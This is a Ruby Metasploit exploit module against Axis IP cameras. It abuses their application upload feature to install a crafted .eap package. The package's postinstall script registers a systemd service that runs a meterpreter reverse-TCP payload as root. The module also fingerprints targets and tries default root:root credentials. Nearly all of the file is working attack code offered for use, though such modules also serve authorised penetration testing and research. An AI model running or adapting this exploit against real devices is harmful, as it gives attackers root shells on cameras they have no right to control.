axis_app_install.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Axis IP Camera Application Upload',
        'Description' => %q{
          This module exploits the "Apps" feature in Axis IP cameras. The feature allows third party
          developers to upload and execute 'eap' applications on the device. The system does not validate
          the application comes from a trusted source, so a malicious attacker can upload and execute
          arbitrary code. The issue has no CVE, although the technique was made public in 2018.

          This module uploads and executes stageless meterpreter as `root`. Uploading the application
          requires valid credentials. The default administrator credentials used to be `root:root` but
          newer firmware versions force users to provide a new password for the `root` user.

          The module was tested on an Axis M3044-V using the latest firmware (9.80.3.8: December 2021).
          Although all modules that support the "Apps" feature are presumed to be vulnerable.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'jbaines-r7' # Discovery and Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://www.tenable.com/blog/tenable-research-advisory-axis-camera-app-malicious-package-distribution-weakness'],
          [ 'URL', 'https://www.axis.com/support/developer-support/axis-camera-application-platform']
        ],
        'DisclosureDate' => '2018-04-12',
        'Privileged' => true,
        'Targets' => [
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_ARMLE],
              'Type' => :linux_dropper,
              'Payload' => {},
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' # Use stagless payloads until issue 16107 gets addressed to fix the ARMLE stager
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 80,
          'SSL' => false
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'The username to authenticate with', 'root']),
      OptString.new('PASSWORD', [true, 'The password to authenticate with', 'root'])
    ])
  end

  # Check function will attempt to verify:
  #
  # 1. The provided credentials work for authentication
  # 2. The remote target is an axis camera
  # 3. The applications API exists.
  #
  def check
    # grab the brand/model. Shouldn't require authentication.
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/axis-cgi/prod_brand_info/getbrand.cgi')
    })

    return CheckCode::Unknown('Could not determine the target status') unless res && (res.code == 200)

    body_json = res.get_json_document
    return CheckCode::Unknown('Could not determine the target status') if body_json.empty? || body_json.dig('Brand', 'ProdShortName').nil?

    # The brand / model are now known
    check_comment = "The target reports itself to be a '#{body_json.dig('Brand', 'ProdShortName')}'."

    # check to see if the applications api exists (also tests credentials)
    res = send_request_cgi({
      'method' => 'GET',
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD'],
      'uri' => normalize_uri(target_uri.path, '/axis-cgi/applications/list.cgi')
    })

    # A strange edge case where there is no response... respond detected
    return CheckCode::Detected('The target service was detected') unless res
    # Respond safe if credentials fail, to prevent the exploit from running
    return CheckCode::Safe('The user provided credentials did not work.') if res.code == 401
    # Assume any non-200 means the API doesn't exist
    return CheckCode::Safe(check_comment) if res.code != 200

    # This checks for an XML response which I'm not sure is smart considering most of the device
    # does JSON replies... the concerning being that this response has changed in newer models
    return CheckCode::Safe(check_comment) unless res.body.include?('<reply result="ok">') != 200

    CheckCode::Appears(check_comment)
  end

  # Creates a malicious "eap" application. The package application will gain execution
  # through the postinstall script. The script, which executes as a systemd oneshot, will
  # create and execute a new service for the payload. We have to do this because the oneshot
  # child processes will be terminated when the main binary exits. Executing the payload from
  # a new service gets around that issue.
  #
  # The eap registers as a "lua" apptype, because the binary version (armv7hf) gets checked
  # for some required libraries whereas the lua version is just accepted.
  #
  # The construction of the eap follows this pattern:
  # * tar -cf exploit payload package.conf postinstall.sh payload.service
  # * gzip exploit
  # * mv exploit.gz exploit.eap
  def create_eap(payload, appname)
    print_status("Creating an application package named: #{appname}")
    script_name = "#{Rex::Text.rand_text_alpha_lower(3..8)}.sh"

    package_conf = "PACKAGENAME='#{Rex::Text.rand_text_alpha(4..14)}'\n" \
      "APPTYPE='lua'\n" \
      "APPNAME='#{appname}'\n" \
      "APPID='48#{Rex::Text.rand_text_numeric(3)}'\n" \
      "APPMAJORVERSION='#{Rex::Text.rand_text_numeric(1)}'\n" \
      "APPMINORVERSION='#{Rex::Text.rand_text_numeric(1..2)}'\n" \
      "APPMICROVERSION='#{Rex::Text.rand_text_numeric(1..3)}'\n" \
      "APPGRP='root'\n" \
      "APPUSR='root'\n" \
      "POSTINSTALLSCRIPT='#{script_name}'\n" \
      "STARTMODE='respawn'\n"

    # this sync, sleep, cp, sleep pattern is not optimal, but the underlying
    # filesystem was taking time to catch up to the exploit (and mounting and
    # unmounting itself which is just weird) and this seemed like a reasonable,
    # if not hacky, way to give it a chance to catch up. Seems to work well.
    start_service =
      "#!/bin/sh\n"\
      "\nsync\n"\
      "\nsleep 2\n"\
      "\ncp ./#{appname}.service /etc/systemd/system/\n" \
      "\nsleep 2\n"\
      "\nsystemctl start #{appname}\n"

    # only register the service file for deletion. Everything else will be
    # deleted by the uninstall function called later.
    register_file_for_cleanup("/etc/systemd/system/#{appname}.service")

    service =
      "[Unit]\n"\
      "Description=\n"\
      "[Service]\n"\
      "Type=simple\n"\
      "User=root\n"\
      "ExecStart=/usr/local/packages/#{appname}/#{appname}\n"\
      "\n"\
      "[Install]\n"\
      "WantedBy=multi-user.target\n"

    tarfile = StringIO.new
    Rex::Tar::Writer.new tarfile do |tar|
      tar.add_file('package.conf', 0o644) do |io|
        io.write package_conf
      end
      tar.add_file(script_name.to_s, 0o755) do |io|
        io.write start_service
      end
      tar.add_file(appname.to_s, 0o755) do |io|
        io.write payload
      end
      tar.add_file("#{appname}.service", 0o644) do |io|
        io.write service
      end
    end
    tarfile.rewind
    tarfile.close

    Rex::Text.gzip(tarfile.string)
  end

  # Upload the malicious EAP application for a root shell. Always attempt to uninstall the application
  def exploit
    appname = Rex::Text.rand_text_alpha_lower(3)
    eap = create_eap(payload.encoded, appname)

    # Instruct the application to install the constructed EAP
    multipart_form = Rex::MIME::Message.new
    multipart_form.add_part('{"apiVersion":"1.0","method":"install"}', 'application/json', nil, 'form-data; name="data"; filename="blob"')
    multipart_form.add_part(eap, 'application/octet-stream', 'binary', "form-data; name=\"fileData\"; filename=\"#{appname}.eap\"")

    install_endpoint = normalize_uri(target_uri.path, '/axis-cgi/packagemanager.cgi')
    print_status("Sending an application upload request to #{install_endpoint}")
    res = send_request_cgi({
      'method' => 'POST',
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD'],
      'uri' => install_endpoint,
      'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
      'data' => multipart_form.to_s
    })

    # check for successful installation
    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "HTTP status code is not 200 OK: #{res.code}") unless res.code == 200
    body_json = res.get_json_document
    fail_with(Failure::UnexpectedReply, 'Missing JSON response') if body_json.empty?
    # {"apiVersion"=>"1.4", "method"=>"install", "error"=>{"code"=>60, "message"=>"Failed to install acap"}}
    fail_with(Failure::UnexpectedReply, 'The target responded with a JSON error') unless body_json['error'].nil?

    # syncing the unstaged meterpreter payload seems to take a little bit for the poor little
    # embedded filesystem. Give it a chance to sync up before we try to remove the application.
    print_good('Application installed. Pausing 5 seconds to let the filesystem sync.')
    sleep(5)
  ensure
    uninstall_endpoint = normalize_uri(target_uri.path, '/axis-cgi/applications/control.cgi')
    print_status("Sending a delete application request to #{uninstall_endpoint}")
    res = send_request_cgi({
      'method' => 'GET',
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD'],
      'uri' => uninstall_endpoint,
      'vars_get' => {
        'action' => 'remove',
        'package' => appname.to_s
      }
    })

    # instructions for manually removal if the above fails. That should never happen, but best be safe.
    removal_instructions = 'To manually remove the application, log in to the system and then select the apps tab. ' \
      "Find the app named '#{appname}' and select it. Click the trash bin icon to uninstall it."

    # check for successful removal
    print_bad("The server did not respond to the application deletion request. #{removal_instructions}") unless res
    print_bad("The server did not respond with 200 OK to the application deletion request. #{removal_instructions}") unless res.code == 200
    print_bad("The application deletion response did not contain the expected body. #{removal_instructions}") unless res.body.include?('OK')
    print_good("The application #{appname} was successfully removed from the target!")
  end
end